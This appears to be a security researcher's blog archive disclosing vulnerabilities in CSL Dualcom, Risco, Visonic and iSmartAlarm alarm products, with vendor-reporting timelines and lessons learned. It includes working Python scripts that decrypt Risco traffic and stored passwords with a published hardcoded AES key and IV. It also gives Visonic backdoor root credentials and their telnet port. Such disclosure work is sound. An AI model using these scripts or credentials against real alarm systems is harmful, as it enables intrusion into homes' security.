CSL Dualcom installer shop not protected by TLS

CSL Dualcom operate an installer shop which is used to order Dualcom units. This handles personal information, including a username and password.

The site is not protected by TLS at all. Credentials and any other data will be sent in the plain over the Internet.

This is not acceptable in 2015.

This was reported to CSL in June 2014.


As of 14/11/2015, the site now uses TLS and is configured correctly. Why was this not done before? Why did it take exposing it on a blog to happen?

CSL Dualcom Gemini Cisco VPN endpoint vulnerable to POODLE attack

CSL Dualcom use Cisco VPN software to connect to their management platform, Gemini.

The server that does this is listed as https://cslvpn.cslconnect.com/

On inspection with SSLLabs test, there are configuration issues with the TLS on this server, giving it a grade F.

This includes vulnerability to the POODLE attack.

This was fixed a long time ago by Cisco.

Note that, as per the SSLLabs test, this is not the only issue.


As of 14/11/2015, the POODLE vulnerability has been closed. Again, you need to ask why this wasn’t picked up.


Customer database leak on CSL Dualcom’s SIM registration portal

CSL Dualcom sell SIMs for M2M purposes. They need to be registered on their website.

This website is http://m2mconnect.csldual.com/SignUp – firstly note how this does not have TLS. This is not excusable in 2015.

On browsing the site, it was noted that the search string was limited to be 3 or more characters using client-side Javascript.

Using the site with Javascript turned off allowed a zero-length search to be submitted. Initially this appeared to cause the request to freeze. However, on waiting ~10 minutes, it became apparent that an empty search had returned every single record from the database – several megabytes of data.

All the companies

Through the UI this just appeared to be company name, town and postcode. However, inspection of the traffic showed that a massive JSON structure had been downloaded, including a company ID, “UniqueCode”, email address and often mobile number.

{“InstallerCompanyID”:”327398f6-431b-4495-8193-96789ecbe2bd”,”CompanyName”:”Minster Alarms”,”ContactName”:”Minster Alarms”,”PostCode”:”YO32 9NQ”,”Town”:”York”,”UniqueCode”:134265,”Accreditation”:”NSI”,”AddressOne”:”Suncliffe House”,”AddressTwo”:”New Lane, Huntington”,”County”:””,”Country”:”UK”,”CountryId”:0,”CurrencyId”:0,”Email”:”info@minsteralarms.co.uk“,”Mobile”:“”}

On clicking the company name, a list of users was returned, including personal email addresses, phone numbers and usernames:


These issues were reported to CSL Dualcom on 1st May. The issues were acknowledged on the 3rd May and fixed on the 4th by limiting the fields available.

During the leak, over 5700 companies details were available. It was confirmed that some of these had never registered SIMs, so it is likely the full CSL customer database.

6 months on, the registration site is still using HTTP.


Vulnerability in Risco Lightsys protocol encryption

During a routine pen-test of an alarm receiving centre, a piece of software was found that was used to remotely configure Risco alarms.

This software communicates with alarm panels, sometimes over IP, sometimes over a mobile network. One of these panels is the Lightsys panel, which seems fairly common in the UK.

The encryption used by this protocol is token at best, and not suitable for securing communication across an untrusted network.

The protocol generates a psuedo-random sequence of numbers using a basic function. This is then XORed with the message to encrypt or decrypt.

Each panel has a “seed” that changes the encryption slightly. Because we have a partially known plaintext, you don’t need to know the seed to decrypt messages – it can just be determined. The seed tended to be the same across many panels.

numTable = [2, 4, 16, 32768]
PRNG_output = []

# This is the "Remote ID code" in the software
seed = 2

for i in range(0,255):
    bit = 0

    for j in range(0, 4):
        if (seed & numTable[j]) > 0:
            bit ^= 1

    seed = seed << 1 | bit
    PRNG_output.append(seed & 255)

# This has been captured from the network by tricking software into encrypting
# Message is 02RMT=1234 8EBC
# 02 is sequence number
# RMT is a command
# 1234 is the access code
msg = '353945620a804bc6dbe4b67ac0495503'.decode('hex')

plain = ''

for i in range(0, len(msg)):
    plain += chr(ord(msg[i]) ^ PRNG_output[i])

print "Decrypted message: %s" % plain

A further proof of concept was developed that can send and receive commands with alarms, leading to a denial-of-service condition. I am not disclosing this as it can cause harm and is not the root cause of the problem.

This was reported to Risco on 7th August. As of yet, they have not indicated if they wish to fix this issue.


  • Don’t roll your own encryption
  • If you have a key, make sure it has enough length to actually improve security

Open Risco support portal including private FTP credentials

During a routine pen-test of an alarm receiving centre, I was googling for default usernames and passwords of Risco software and alarms.

When doing this, I found an abandoned support portal “Riscopedia” which contained a number of valid credentials for FTP sites, along with other private documentation.


Whilst the Technical.Notes account appears to be shut down, there are still paths onto other FTP servers that look like they should be closed.

This was reported to Risco on 30th July via Twitter and email.


Backdoor root account on Visonic Powerlink 2 modules

During a routine pen-test of an alarm receiving centre, a repository of manufacturer firmware was found. This is often quite hard to get hold of, and I welcomed the opportunity to reverse some of these.

The Visonic Powerlink 2 firmware stood out due to it’s large size – this was almost certainly an embedded Linux system.

On unpacking the firmware, it was found that the units had an enabled account with root privileges called root2 with the password visonic. I discovered this by cracking the password file. However, once I had done this, someone pointed out that this was widely documented as early as 2011.

The system runs telnet on port 7523, and a web interface on port 80. Shodan has ~85 of these visible at the moment.

Once you have root access, you can arm and disarm the connected alarm, and capture images from any connected cameras.

In addition to this, for the firmware and single unit I was permitted access to, it was found it was transmitting status messages (armed/disarmed status, serial number) over a plaintext connection to http://myhome.visonic.com/ ( We could not find anywhere in the firmware to turn this off.

They would be an ideal pivot or persistance node in a longer term pen-test.




Vulnerability in password storage in Risco Configuration Software

During a routine pen-test of an alarm receiving centre, a piece of software was found that was used to remotely configure Risco alarms.

The software is backed by a SQL database called “ConfigurationSoftware” which contains a table called ut_Users with a column called PWD which stores passwords for users that can log into the system.

This PWD field appeared to be a base64 encoded string.

On further investigation, this password was stored in an encrypted form. This allows it to be recovered from the software, and doesn’t follow best practices of hashing passwords.

The encryption is AES-256 and uses a fixed key and IV which is hardcoded into the application.

Passwords were recovered from the database which, due to password re-use, allowed me to take control of the domain controller and website of the company. The password was of good complexity, so if hashing had been used, I would have been unlikely to have recovered this.

A Python script to decrypt the passwords is shown below.

from Crypto.Cipher import AES
from Crypto import Random
import base64

BS = 32
# PKCS #7
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS)
unpad = lambda s : s[0:-ord(s[-1])]

def encrypt(raw, key, iv ):
    raw = pad(raw)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return (cipher.encrypt(raw ))

def decrypt(enc, key, iv ):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(enc))

# Static and hardcoded
key = 'FKLe608FDsF5J6ZaKpTghjED7Hb80ALq'
iv = 'Sckt6DopykVCD9Lq'

# The default 123 password as installed
ciphertext = 'BQqwo4a87TvfJKv4af8h3g=='

print 'Password is %s' % decrypt(base64.b64decode(ciphertext), key, iv).decode('utf-16-le')

This was reported to Risco on 7th August. A fix is meant to be deployed at the beginning of November.


  • Hash, don’t encrypt your passwords.
  • Don’t hardcode encryption keys in your software
  • Don’t use the same password for domain admin as in a system of unknown quality
  • Have a security contact so it’s not painful to report issues

iSmartAlarm – quick “teardown”

I noticed this post on the alarm forum at DIYnot. It mentions the iSmartAlarm – an alarm I’ve heard nothing about before. Smart tends to mean “connected to the Internet” which tends to mean “massive attack surface”, so I though I would have a quick look at the system and what is inside it.

The iSmartAlarm homepage is fairily standard. The alarm seems to comprise of a CubeOne at the heart of the system, with PIRs and door contacts connecting to it. The CubeOne appears to connect to your home router using a wired Ethernet connection.


On the site, their is a manual for the alarm. It’s pretty sparse really – it doesn’t seem to have many features. There is also a section called “Port forwarding” on the support section. This only seems to be concern the iCamera they provide. Port forwarding is generally a Bad Thing™ as it lets someone outside of your NAT/firewall inside.

There is nothing really juicy there, we really need some pictures of PCBs to work out what is going on. No-one seems to have torn down one yet, so I’ve got to hope the FCC have something. Most wireless devices sold in the US need to be FCC compliant, which involves submitting test reports and internal photos to the FCC. There are a few ways out of this – using ready made wireless boards like the ElectricImp, and ticking all the boxes that make the documents confidential. Thankfully, most companies only request that the schematic, block diagram, and description of operation is confidential.

How to get the FCC ID? It’s not in the manual (it rarely is), so let’s look for a photo of one of the units.

cnet oblige with a photo of the bottom of one of the units.


Off we go to the FCC OET ID search. I haven’t worked out how to link to results on here, so just enter SENIPU3 as the ID and look for yourself.

The only really interesting document is the internal photos (reposted here).

One photo really stands out – the close-up of the PCB.

PCB shot

What do we have on here then?

First thing I see, upper right, is the venerable TI CC1110 chip. This is the same chip used in the IM-ME toy that has been changed into a spectrum analyser. It’s a combined microprocessor and sub-GHz RF frontend and is very flexible. To the right of it there is a pin header labelled CLK, D, RST, GND. These are the in-circuit programming pins for the CC1110 – you can see this on Travis Goodspeed’s page about hacking the IM-ME. Firmware recovery might be possible.

There is a Ralink RT5350F which appears to be a SoC used in a lot of wireless routers. It will be providing the wireless, Ethernet and USB. The datasheet indicates this boots from SPI serial flash, which means firmware recovery is almost certainly possible. I’m guessing the slightly frazzled looking 8-pin U10 is this device.

The big Winbond chip is SDRAM.

The funny little blue blob-on-board seems to be some kind of LED driver, judging by the proximity to the connections to the LED in the casing.

Not sure what the pin header at the top of the board is. JTAG on the Ralink chip is 5-pin. Could be a serial debug port.

Searching for the first three letters of the FCC ID brings up the other components – the PIR, door contact and fob. All using the CC1110. That means two-way comms is possible.



Door contact

Door contact



This system looks fairly hackable. The CC1110 data can be sniffed no doubt, firmware recovery may be possible. The Ralink firmware almost certainly can be recovered.

I wonder if it is worth getting hold of one?

Why have I removed all the CSL Dualcom posts?

Update: the full report into the issues I found with the CS2300-R boards has been published.

Update: The posts are being republished November 2015.

As part of my reverse engineering of the CSL Dualcom alarm signalling boards, I have uncovered some issues that I would classify as vulnerabilities. I have recently informed CSL Dualcom about one the issues, alongside tweeting some rather unexpected findings about the encryption used.

In response to this, CSL Dualcom have requested that I remove the blog posts and tweets until I meet with them. I have decided, out of courtesy, to hide the posts for now. This is not an admission of any wrong doing, censorship of my posts, or response to legal threats.

As always, my approach to vulnerability disclosure is to follow the model of responsible disclosure. As this is an embedded system with a very large deployment, it would only be reasonable to have an extended period for the vendor to respond.

WordPress escaping \ < > etc. in preformatted code – a quick fix

I’ve been posting code and paths regently use the <pre></pre> tags to preserve formatting. WordPress, however has other ideas, and removes the and changes the <> into escaped codes (&gt; &lt;), which display incorrectly inside <pre></pre>.

You can workaround this by editing outside WordPress, pasting in, and saving – it works fine the first time. This is really awkward though.

It seems installing this plugin:


Solves the problem by making sure everything inside <pre> is not messed with.

if A < C: